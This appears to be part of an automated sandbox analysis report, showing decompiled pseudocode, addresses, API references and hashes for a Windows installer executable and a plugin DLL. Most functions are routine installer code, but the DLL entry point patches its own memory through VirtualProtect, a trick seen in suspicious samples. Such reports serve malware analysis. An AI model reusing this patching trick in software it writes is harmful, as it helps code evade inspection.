                                                                                                        					}
                                                                                                        					E6FC729E4(_t107, _a4,  *0x6fc7401c,  *0x6fc74020);
                                                                                                        					return _a4;
                                                                                                        				}
                                                                                                        				_push(E6FC729B6() + _a4);
                                                                                                        				_t56 = E6FC729BC();
                                                                                                        				_v8 = _t56;
                                                                                                        				_t77 = _t28;
                                                                                                        				_push(_t68 + _t56 * _t77);
                                                                                                        				_t70 = E6FC729C8();
                                                                                                        				_t87 = E6FC729C4();
                                                                                                        				_t90 = E6FC729C0();
                                                                                                        				_t61 = _t77;
                                                                                                        				if( *((intOrPtr*)(_t90 + _t61)) == 2) {
                                                                                                        					_push( *((intOrPtr*)(_t70 + _t61)));
                                                                                                        				}
                                                                                                        				_push( *((intOrPtr*)(_t87 + _t61)));
                                                                                                        				asm("loop 0xfffffff1");
                                                                                                        				goto L9;
                                                                                                        			}

























                                                                                                        0x6fc72a48
                                                                                                        0x6fc72a59
                                                                                                        0x6fc72a66
                                                                                                        0x6fc72a7a
                                                                                                        0x6fc72a68
                                                                                                        0x6fc72a6d
                                                                                                        0x6fc72a72
                                                                                                        0x6fc72a72
                                                                                                        0x6fc72a66
                                                                                                        0x6fc72a83
                                                                                                        0x6fc72a88
                                                                                                        0x6fc72a8e
                                                                                                        0x6fc72ad2
                                                                                                        0x6fc72ad2
                                                                                                        0x6fc72ad7
                                                                                                        0x6fc72adc
                                                                                                        0x6fc72ae2
                                                                                                        0x6fc72ae4
                                                                                                        0x6fc72aea
                                                                                                        0x6fc72af7
                                                                                                        0x6fc72af9
                                                                                                        0x6fc72afe
                                                                                                        0x6fc72b0b
                                                                                                        0x6fc72b1e
                                                                                                        0x6fc72b24
                                                                                                        0x6fc72b2a
                                                                                                        0x6fc72b2b
                                                                                                        0x6fc72b31
                                                                                                        0x6fc72b3d
                                                                                                        0x6fc72b43
                                                                                                        0x6fc72b4b
                                                                                                        0x6fc72b4c
                                                                                                        0x6fc72b4f
                                                                                                        0x6fc72b5a
                                                                                                        0x6fc72b5c
                                                                                                        0x6fc72b68
                                                                                                        0x6fc72b6e
                                                                                                        0x6fc72b76
                                                                                                        0x6fc72ba2
                                                                                                        0x6fc72ba3
                                                                                                        0x6fc72ba5
                                                                                                        0x6fc72ba9
                                                                                                        0x6fc72ba9
                                                                                                        0x6fc72bb0
                                                                                                        0x6fc72b86
                                                                                                        0x6fc72b86
                                                                                                        0x6fc72b87
                                                                                                        0x6fc72b95
                                                                                                        0x6fc72b9e
                                                                                                        0x6fc72b9e
                                                                                                        0x6fc72b76
                                                                                                        0x6fc72b5a
                                                                                                        0x6fc72bb2
                                                                                                        0x6fc72bb9
                                                                                                        0x6fc72bbb
                                                                                                        0x6fc72bbb
                                                                                                        0x6fc72bd4
                                                                                                        0x6fc72be2
                                                                                                        0x6fc72be2
                                                                                                        0x6fc72a99
                                                                                                        0x6fc72a9a
                                                                                                        0x6fc72a9f
                                                                                                        0x6fc72aa3
                                                                                                        0x6fc72aa8
                                                                                                        0x6fc72abc
                                                                                                        0x6fc72abd
                                                                                                        0x6fc72abe
                                                                                                        0x6fc72ac0
                                                                                                        0x6fc72ac5
                                                                                                        0x6fc72ac7
                                                                                                        0x6fc72ac7
                                                                                                        0x6fc72aca
                                                                                                        0x6fc72ad0
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        • EnumSystemCodePagesW.KERNELBASE(00000000), ref: 6FC72AF7
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.659624848.000000006FC71000.00000020.00020000.sdmp, Offset: 6FC70000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.659611892.000000006FC70000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659642183.000000006FC73000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659649861.000000006FC75000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: CodeEnumPagesSystem
                                                                                                        • String ID:
                                                                                                        • API String ID: 2369445336-0
                                                                                                        • Opcode ID: 981ef05916cd4cdb43e46e607c7b4cbd9238d7fe3c16773f6b0e6e3c0f92ba8c
                                                                                                        • Instruction ID: 461a36e04df10ab1eb3e7cee70369c7146965401d8ba0b6fdce4f222f49e6542
                                                                                                        • Opcode Fuzzy Hash: 981ef05916cd4cdb43e46e607c7b4cbd9238d7fe3c16773f6b0e6e3c0f92ba8c
                                                                                                        • Instruction Fuzzy Hash: 32416E72904715DFDF30DFA5D8A0BD93BB4FB46328F14842AE605C6280EB34B4958FA1
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E004031BF(void* _a4, long _a8) {
                                                                                                        				int _t6;
                                                                                                        				long _t10;
                                                                                                        
                                                                                                        				_t10 = _a8;
                                                                                                        				_t6 = ReadFile( *0x409014, _a4, _t10,  &_a8, 0); // executed
                                                                                                        				if(_t6 == 0 || _a8 != _t10) {
                                                                                                        					return 0;
                                                                                                        				} else {
                                                                                                        					return 1;
                                                                                                        				}
                                                                                                        			}





                                                                                                        0x004031c3
                                                                                                        0x004031d6
                                                                                                        0x004031de
                                                                                                        0x00000000
                                                                                                        0x004031e5
                                                                                                        0x00000000
                                                                                                        0x004031e7

                                                                                                        APIs
                                                                                                        • ReadFile.KERNELBASE(00409130,00000000,00000000,00000000,00413040,0040B040,004030C4,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000), ref: 004031D6
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: FileRead
                                                                                                        • String ID:
                                                                                                        • API String ID: 2738559852-0
                                                                                                        • Opcode ID: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
                                                                                                        • Instruction ID: 4c5c04567c480c11bae84e94003d2882b37cb3083c3cc1db03504fe221b835f3
                                                                                                        • Opcode Fuzzy Hash: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
                                                                                                        • Instruction Fuzzy Hash: DAE08631500119BBCF215E619C00A973B5CEB09362F008033FA04E9190D532DB109BA5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			_entry_(intOrPtr _a4, intOrPtr _a8) {
                                                                                                        
                                                                                                        				 *0x6fc74038 = _a4;
                                                                                                        				if(_a8 == 1) {
                                                                                                        					VirtualProtect(0x6fc7404c, 4, 0x40, 0x6fc7403c); // executed
                                                                                                        					 *0x6fc7404c = 0xc2;
                                                                                                        					 *0x6fc7403c = 0;
                                                                                                        					 *0x6fc74044 = 0;
                                                                                                        					 *0x6fc74058 = 0;
                                                                                                        					 *0x6fc74048 = 0;
                                                                                                        					 *0x6fc74040 = 0;
                                                                                                        					 *0x6fc74050 = 0;
                                                                                                        					 *0x6fc7404e = 0;
                                                                                                        				}
                                                                                                        				return 1;
                                                                                                        			}



                                                                                                        0x6fc7292a
                                                                                                        0x6fc7292f
                                                                                                        0x6fc7293f
                                                                                                        0x6fc72947
                                                                                                        0x6fc7294e
                                                                                                        0x6fc72953
                                                                                                        0x6fc72958
                                                                                                        0x6fc7295d
                                                                                                        0x6fc72962
                                                                                                        0x6fc72967
                                                                                                        0x6fc7296c
                                                                                                        0x6fc7296c
                                                                                                        0x6fc72974

                                                                                                        APIs
                                                                                                        • VirtualProtect.KERNELBASE(6FC7404C,00000004,00000040,6FC7403C), ref: 6FC7293F
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.659624848.000000006FC71000.00000020.00020000.sdmp, Offset: 6FC70000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.659611892.000000006FC70000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659642183.000000006FC73000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659649861.000000006FC75000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: ProtectVirtual
                                                                                                        • String ID:
                                                                                                        • API String ID: 544645111-0
                                                                                                        • Opcode ID: 6c3aa95569a6a55637c4fc54b0fad2f006884b1b7d0cb386d55db3f1105c5272
                                                                                                        • Instruction ID: 41f76fc545e720131ded12d8a8a2e5682113832e09911163e5bc2ce5bb80715f
                                                                                                        • Opcode Fuzzy Hash: 6c3aa95569a6a55637c4fc54b0fad2f006884b1b7d0cb386d55db3f1105c5272
                                                                                                        • Instruction Fuzzy Hash: D6F0AEB1908AA2DECB60CF7C8884B057FF1B71B364B02452EE3A8D7241E73470648B21
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E004031F1(long _a4) {
                                                                                                        				long _t2;
                                                                                                        
                                                                                                        				_t2 = SetFilePointer( *0x409014, _a4, 0, 0); // executed
                                                                                                        				return _t2;
                                                                                                        			}




                                                                                                        0x004031ff
                                                                                                        0x00403205

                                                                                                        APIs
                                                                                                        • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E9D,?), ref: 004031FF
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: FilePointer
                                                                                                        • String ID:
                                                                                                        • API String ID: 973152223-0
                                                                                                        • Opcode ID: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
                                                                                                        • Instruction ID: eafd0aff1283cdec3023edec91852d87283cefa69c9b21bce59c6677f93a42a7
                                                                                                        • Opcode Fuzzy Hash: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
                                                                                                        • Instruction Fuzzy Hash: 14B01271644200BFDB214F00DF06F057B21A790701F108030B344380F082712420EB1E
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 16%
                                                                                                        			E6FC7101B(signed int _a4) {
                                                                                                        				signed int _t2;
                                                                                                        				void* _t4;
                                                                                                        
                                                                                                        				_t2 = E6FC714BB();
                                                                                                        				if(_t2 != 0) {
                                                                                                        					_t4 = GlobalAlloc(0x40, _t2 * _a4); // executed
                                                                                                        					_push(_t4);
                                                                                                        				} else {
                                                                                                        					_push(_t2);
                                                                                                        				}
                                                                                                        				return E6FC714E2();
                                                                                                        			}





                                                                                                        0x6fc7101b
                                                                                                        0x6fc71022
                                                                                                        0x6fc7102f
                                                                                                        0x6fc71035
                                                                                                        0x6fc71024
                                                                                                        0x6fc71024
                                                                                                        0x6fc71024
                                                                                                        0x6fc7103c

                                                                                                        APIs
                                                                                                        • GlobalAlloc.KERNELBASE(00000040,?,6FC71019,00000001), ref: 6FC7102F
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.659624848.000000006FC71000.00000020.00020000.sdmp, Offset: 6FC70000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.659611892.000000006FC70000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659642183.000000006FC73000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659649861.000000006FC75000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: AllocGlobal
                                                                                                        • String ID:
                                                                                                        • API String ID: 3761449716-0
                                                                                                        • Opcode ID: cd29578546010a12801905b8b329df7f22cfd232cbe1535e9ae96903e67ee786
                                                                                                        • Instruction ID: 31282938c71ef4d5d26826b2d6d855621da1ad8d0598be12bf124f544f4e38cf
                                                                                                        • Opcode Fuzzy Hash: cd29578546010a12801905b8b329df7f22cfd232cbe1535e9ae96903e67ee786
                                                                                                        • Instruction Fuzzy Hash: 16C08CB1004342BAD63082BE4A6AE1A22AC9B49355F10C408F742C90C0FF24E2040234
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Non-executed Functions

                                                                                                        C-Code - Quality: 95%
                                                                                                        			E00405042(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
                                                                                                        				struct HWND__* _v8;
                                                                                                        				long _v12;
                                                                                                        				struct tagRECT _v28;
                                                                                                        				void* _v36;
                                                                                                        				signed int _v40;
                                                                                                        				int _v44;
                                                                                                        				int _v48;
                                                                                                        				signed int _v52;
                                                                                                        				int _v56;
                                                                                                        				void* _v60;
                                                                                                        				void* _v68;
                                                                                                        				void* __ebx;
                                                                                                        				void* __edi;
                                                                                                        				void* __esi;
                                                                                                        				long _t87;
                                                                                                        				unsigned int _t92;
                                                                                                        				int _t94;
                                                                                                        				int _t95;
                                                                                                        				void* _t101;
                                                                                                        				intOrPtr _t123;
                                                                                                        				struct HWND__* _t127;
                                                                                                        				int _t149;
                                                                                                        				int _t150;
                                                                                                        				struct HWND__* _t154;
                                                                                                        				struct HWND__* _t158;
                                                                                                        				struct HMENU__* _t160;
                                                                                                        				long _t162;
                                                                                                        				void* _t163;
                                                                                                        				short* _t164;
                                                                                                        
                                                                                                        				_t154 =  *0x423684;
                                                                                                        				_t149 = 0;
                                                                                                        				_v8 = _t154;
                                                                                                        				if(_a8 != 0x110) {
                                                                                                        					if(_a8 == 0x405) {
                                                                                                        						CloseHandle(CreateThread(0, 0, E00404FD6, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
                                                                                                        					}
                                                                                                        					if(_a8 != 0x111) {
                                                                                                        						L17:
                                                                                                        						if(_a8 != 0x404) {
                                                                                                        							L25:
                                                                                                        							if(_a8 != 0x7b || _a12 != _t154) {
                                                                                                        								goto L20;
                                                                                                        							} else {
                                                                                                        								_t87 = SendMessageA(_t154, 0x1004, _t149, _t149);
                                                                                                        								_a8 = _t87;
                                                                                                        								if(_t87 <= _t149) {
                                                                                                        									L37:
                                                                                                        									return 0;
                                                                                                        								}
                                                                                                        								_t160 = CreatePopupMenu();
                                                                                                        								AppendMenuA(_t160, _t149, 1, E00405B88(_t149, _t154, _t160, _t149, 0xffffffe1));
                                                                                                        								_t92 = _a16;
                                                                                                        								if(_t92 != 0xffffffff) {
                                                                                                        									_t150 = _t92;
                                                                                                        									_t94 = _t92 >> 0x10;
                                                                                                        								} else {
                                                                                                        									GetWindowRect(_t154,  &_v28);
                                                                                                        									_t150 = _v28.left;
                                                                                                        									_t94 = _v28.top;
                                                                                                        								}
                                                                                                        								_t95 = TrackPopupMenu(_t160, 0x180, _t150, _t94, _t149, _a4, _t149);
                                                                                                        								_t162 = 1;
                                                                                                        								if(_t95 == 1) {
                                                                                                        									_v60 = _t149;
                                                                                                        									_v48 = 0x4204a0;
                                                                                                        									_v44 = 0xfff;
                                                                                                        									_a4 = _a8;
                                                                                                        									do {
                                                                                                        										_a4 = _a4 - 1;
                                                                                                        										_t162 = _t162 + SendMessageA(_v8, 0x102d, _a4,  &_v68) + 2;
                                                                                                        									} while (_a4 != _t149);
                                                                                                        									OpenClipboard(_t149);
                                                                                                        									EmptyClipboard();
                                                                                                        									_t101 = GlobalAlloc(0x42, _t162);
                                                                                                        									_a4 = _t101;
                                                                                                        									_t163 = GlobalLock(_t101);
                                                                                                        									do {
                                                                                                        										_v48 = _t163;
                                                                                                        										_t164 = _t163 + SendMessageA(_v8, 0x102d, _t149,  &_v68);
                                                                                                        										 *_t164 = 0xa0d;
                                                                                                        										_t163 = _t164 + 2;
                                                                                                        										_t149 = _t149 + 1;
                                                                                                        									} while (_t149 < _a8);
                                                                                                        									GlobalUnlock(_a4);
                                                                                                        									SetClipboardData(1, _a4);
                                                                                                        									CloseClipboard();
                                                                                                        								}
                                                                                                        								goto L37;
                                                                                                        							}
                                                                                                        						}
                                                                                                        						if( *0x42366c == _t149) {
                                                                                                        							ShowWindow( *0x423ea8, 8);
                                                                                                        							if( *0x423f2c == _t149) {
                                                                                                        								E00404F04( *((intOrPtr*)( *0x41fc70 + 0x34)), _t149);
                                                                                                        							}
                                                                                                        							E00403EF1(1);
                                                                                                        							goto L25;
                                                                                                        						}
                                                                                                        						 *0x41f868 = 2;
                                                                                                        						E00403EF1(0x78);
                                                                                                        						goto L20;
                                                                                                        					} else {
                                                                                                        						if(_a12 != 0x403) {
                                                                                                        							L20:
                                                                                                        							return E00403F7F(_a8, _a12, _a16);
                                                                                                        						}
                                                                                                        						ShowWindow( *0x423670, _t149);
                                                                                                        						ShowWindow(_t154, 8);
                                                                                                        						E00403F4D(_t154);
                                                                                                        						goto L17;
                                                                                                        					}
                                                                                                        				}
                                                                                                        				_v52 = _v52 | 0xffffffff;
                                                                                                        				_v40 = _v40 | 0xffffffff;
                                                                                                        				_v60 = 2;
                                                                                                        				_v56 = 0;
                                                                                                        				_v48 = 0;
                                                                                                        				_v44 = 0;
                                                                                                        				asm("stosd");
                                                                                                        				asm("stosd");
                                                                                                        				_t123 =  *0x423eb0;
                                                                                                        				_a8 =  *((intOrPtr*)(_t123 + 0x5c));
                                                                                                        				_a12 =  *((intOrPtr*)(_t123 + 0x60));
                                                                                                        				 *0x423670 = GetDlgItem(_a4, 0x403);
                                                                                                        				 *0x423668 = GetDlgItem(_a4, 0x3ee);
                                                                                                        				_t127 = GetDlgItem(_a4, 0x3f8);
                                                                                                        				 *0x423684 = _t127;
                                                                                                        				_v8 = _t127;
                                                                                                        				E00403F4D( *0x423670);
                                                                                                        				 *0x423674 = E004047A6(4);
                                                                                                        				 *0x42368c = 0;
                                                                                                        				GetClientRect(_v8,  &_v28);
                                                                                                        				_v52 = _v28.right - GetSystemMetrics(0x15);
                                                                                                        				SendMessageA(_v8, 0x101b, 0,  &_v60);
                                                                                                        				SendMessageA(_v8, 0x1036, 0x4000, 0x4000);
                                                                                                        				if(_a8 >= 0) {
                                                                                                        					SendMessageA(_v8, 0x1001, 0, _a8);
                                                                                                        					SendMessageA(_v8, 0x1026, 0, _a8);
                                                                                                        				}
                                                                                                        				if(_a12 >= _t149) {
                                                                                                        					SendMessageA(_v8, 0x1024, _t149, _a12);
                                                                                                        				}
                                                                                                        				_push( *((intOrPtr*)(_a16 + 0x30)));
                                                                                                        				_push(0x1b);
                                                                                                        				E00403F18(_a4);
                                                                                                        				if(( *0x423eb8 & 0x00000003) != 0) {
                                                                                                        					ShowWindow( *0x423670, _t149);
                                                                                                        					if(( *0x423eb8 & 0x00000002) != 0) {
                                                                                                        						 *0x423670 = _t149;
                                                                                                        					} else {
                                                                                                        						ShowWindow(_v8, 8);
                                                                                                        					}
                                                                                                        					E00403F4D( *0x423668);
                                                                                                        				}
                                                                                                        				_t158 = GetDlgItem(_a4, 0x3ec);
                                                                                                        				SendMessageA(_t158, 0x401, _t149, 0x75300000);
                                                                                                        				if(( *0x423eb8 & 0x00000004) != 0) {
                                                                                                        					SendMessageA(_t158, 0x409, _t149, _a12);
                                                                                                        					SendMessageA(_t158, 0x2001, _t149, _a8);
                                                                                                        				}
                                                                                                        				goto L37;
                                                                                                        			}
































                                                                                                        0x0040504b
                                                                                                        0x00405051
                                                                                                        0x0040505a
                                                                                                        0x0040505d
                                                                                                        0x004051f5
                                                                                                        0x00405219
                                                                                                        0x00405219
                                                                                                        0x0040522c
                                                                                                        0x0040524a
                                                                                                        0x00405251
                                                                                                        0x004052a8
                                                                                                        0x004052ac
                                                                                                        0x00000000
                                                                                                        0x004052b3
                                                                                                        0x004052bb
                                                                                                        0x004052c3
                                                                                                        0x004052c6
                                                                                                        0x004053bf
                                                                                                        0x00000000
                                                                                                        0x004053bf
                                                                                                        0x004052d5
                                                                                                        0x004052e1
                                                                                                        0x004052e7
                                                                                                        0x004052ed
                                                                                                        0x00405302
                                                                                                        0x00405308
                                                                                                        0x004052ef
                                                                                                        0x004052f4
                                                                                                        0x004052fa
                                                                                                        0x004052fd
                                                                                                        0x004052fd
                                                                                                        0x00405318
                                                                                                        0x00405320
                                                                                                        0x00405323
                                                                                                        0x0040532c
                                                                                                        0x0040532f
                                                                                                        0x00405336
                                                                                                        0x0040533d
                                                                                                        0x00405345
                                                                                                        0x00405345
                                                                                                        0x0040535c
                                                                                                        0x0040535c
                                                                                                        0x00405363
                                                                                                        0x00405369
                                                                                                        0x00405372
                                                                                                        0x00405379
                                                                                                        0x00405382
                                                                                                        0x00405384
                                                                                                        0x00405387
                                                                                                        0x00405396
                                                                                                        0x00405398
                                                                                                        0x0040539e
                                                                                                        0x0040539f
                                                                                                        0x004053a0
                                                                                                        0x004053a8
                                                                                                        0x004053b3
                                                                                                        0x004053b9
                                                                                                        0x004053b9
                                                                                                        0x00000000
                                                                                                        0x00405323
                                                                                                        0x004052ac
                                                                                                        0x00405259
                                                                                                        0x00405289
                                                                                                        0x00405291
                                                                                                        0x0040529c
                                                                                                        0x0040529c
                                                                                                        0x004052a3
                                                                                                        0x00000000
                                                                                                        0x004052a3
                                                                                                        0x0040525d
                                                                                                        0x00405267
                                                                                                        0x00000000
                                                                                                        0x0040522e
                                                                                                        0x00405234
                                                                                                        0x0040526c
                                                                                                        0x00000000
                                                                                                        0x00405275
                                                                                                        0x0040523d
                                                                                                        0x00405242
                                                                                                        0x00405245
                                                                                                        0x00000000
                                                                                                        0x00405245
                                                                                                        0x0040522c
                                                                                                        0x00405063
                                                                                                        0x00405067
                                                                                                        0x00405070
                                                                                                        0x00405077
                                                                                                        0x0040507a
                                                                                                        0x0040507d
                                                                                                        0x00405080
                                                                                                        0x00405081
                                                                                                        0x00405082
                                                                                                        0x0040509b
                                                                                                        0x0040509e
                                                                                                        0x004050a8
                                                                                                        0x004050b7
                                                                                                        0x004050bf
                                                                                                        0x004050c7
                                                                                                        0x004050cc
                                                                                                        0x004050cf
                                                                                                        0x004050db
                                                                                                        0x004050e4
                                                                                                        0x004050ed
                                                                                                        0x00405110
                                                                                                        0x00405116
                                                                                                        0x00405127
                                                                                                        0x0040512c
                                                                                                        0x0040513a
                                                                                                        0x00405148
                                                                                                        0x00405148
                                                                                                        0x0040514d
                                                                                                        0x0040515b
                                                                                                        0x0040515b
                                                                                                        0x00405160
                                                                                                        0x00405163
                                                                                                        0x00405168
                                                                                                        0x00405174
                                                                                                        0x0040517d
                                                                                                        0x0040518a
                                                                                                        0x00405199
                                                                                                        0x0040518c
                                                                                                        0x00405191
                                                                                                        0x00405191
                                                                                                        0x004051a5
                                                                                                        0x004051a5
                                                                                                        0x004051b9
                                                                                                        0x004051c2
                                                                                                        0x004051cb
                                                                                                        0x004051db
                                                                                                        0x004051e7
                                                                                                        0x004051e7
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        • GetDlgItem.USER32 ref: 004050A1
                                                                                                        • GetDlgItem.USER32 ref: 004050B0
                                                                                                        • GetClientRect.USER32 ref: 004050ED
                                                                                                        • GetSystemMetrics.USER32 ref: 004050F5
                                                                                                        • SendMessageA.USER32 ref: 00405116
                                                                                                        • SendMessageA.USER32 ref: 00405127
                                                                                                        • SendMessageA.USER32 ref: 0040513A
                                                                                                        • SendMessageA.USER32 ref: 00405148
                                                                                                        • SendMessageA.USER32 ref: 0040515B
                                                                                                        • ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040517D
                                                                                                        • ShowWindow.USER32(?,00000008), ref: 00405191
                                                                                                        • GetDlgItem.USER32 ref: 004051B2
                                                                                                        • SendMessageA.USER32 ref: 004051C2
                                                                                                        • SendMessageA.USER32 ref: 004051DB
                                                                                                        • SendMessageA.USER32 ref: 004051E7
                                                                                                        • GetDlgItem.USER32 ref: 004050BF
                                                                                                          • Part of subcall function 00403F4D: SendMessageA.USER32 ref: 00403F5B
                                                                                                        • GetDlgItem.USER32 ref: 00405204
                                                                                                        • CreateThread.KERNEL32(00000000,00000000,Function_00004FD6,00000000), ref: 00405212
                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 00405219
                                                                                                        • ShowWindow.USER32(00000000), ref: 0040523D
                                                                                                        • ShowWindow.USER32(?,00000008), ref: 00405242
                                                                                                        • ShowWindow.USER32(00000008), ref: 00405289
                                                                                                        • SendMessageA.USER32 ref: 004052BB
                                                                                                        • CreatePopupMenu.USER32 ref: 004052CC
                                                                                                        • AppendMenuA.USER32 ref: 004052E1
                                                                                                        • GetWindowRect.USER32 ref: 004052F4
                                                                                                        • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405318
                                                                                                        • SendMessageA.USER32 ref: 00405353
                                                                                                        • OpenClipboard.USER32(00000000), ref: 00405363
                                                                                                        • EmptyClipboard.USER32(?,?,00000000,?,00000000), ref: 00405369
                                                                                                        • GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 00405372
                                                                                                        • GlobalLock.KERNEL32 ref: 0040537C
                                                                                                        • SendMessageA.USER32 ref: 00405390
                                                                                                        • GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 004053A8
                                                                                                        • SetClipboardData.USER32(00000001,00000000), ref: 004053B3
                                                                                                        • CloseClipboard.USER32(?,?,00000000,?,00000000), ref: 004053B9
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
                                                                                                        • String ID: {
                                                                                                        • API String ID: 590372296-366298937
                                                                                                        • Opcode ID: 5aa5e299d21103ac010b4f938d0fd54a6532c41be376ce1bb5dd201a3ba19c05
                                                                                                        • Instruction ID: b28aa7ce0402c6385ba5b6cd868a6258f1d07b471923b7bae974b2a68da01879
                                                                                                        • Opcode Fuzzy Hash: 5aa5e299d21103ac010b4f938d0fd54a6532c41be376ce1bb5dd201a3ba19c05
                                                                                                        • Instruction Fuzzy Hash: 34A14870904208FFDB219F60DD89AAE7F79FB08355F00417AFA05BA2A0C7795A41DF69
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 97%
                                                                                                        			E00404853(struct HWND__* _a4, int _a8, unsigned int _a12, int _a16) {
                                                                                                        				struct HWND__* _v8;
                                                                                                        				struct HWND__* _v12;
                                                                                                        				signed int _v16;
                                                                                                        				intOrPtr _v20;
                                                                                                        				void* _v24;
                                                                                                        				long _v28;
                                                                                                        				int _v32;
                                                                                                        				signed int _v40;
                                                                                                        				int _v44;
                                                                                                        				signed int* _v56;
                                                                                                        				intOrPtr _v60;
                                                                                                        				signed int _v64;
                                                                                                        				long _v68;
                                                                                                        				void* _v72;
                                                                                                        				intOrPtr _v76;
                                                                                                        				intOrPtr _v80;
                                                                                                        				void* _v84;
                                                                                                        				void* __ebx;
                                                                                                        				void* __edi;
                                                                                                        				void* __esi;
                                                                                                        				struct HWND__* _t182;
                                                                                                        				int _t196;
                                                                                                        				long _t202;
                                                                                                        				signed int _t206;
                                                                                                        				signed int _t217;
                                                                                                        				void* _t220;
                                                                                                        				void* _t221;
                                                                                                        				int _t227;
                                                                                                        				signed int _t232;
                                                                                                        				signed int _t233;
                                                                                                        				signed int _t240;
                                                                                                        				struct HBITMAP__* _t250;
                                                                                                        				void* _t252;
                                                                                                        				char* _t268;
                                                                                                        				signed char _t269;
                                                                                                        				long _t274;
                                                                                                        				int _t280;
                                                                                                        				signed int* _t281;
                                                                                                        				int _t282;
                                                                                                        				long _t283;
                                                                                                        				int _t285;
                                                                                                        				long _t286;
                                                                                                        				signed int _t287;
                                                                                                        				long _t288;
                                                                                                        				signed int _t291;
                                                                                                        				signed int _t298;
                                                                                                        				signed int _t300;
                                                                                                        				signed int _t302;
                                                                                                        				int* _t310;
                                                                                                        				void* _t311;
                                                                                                        				int _t315;
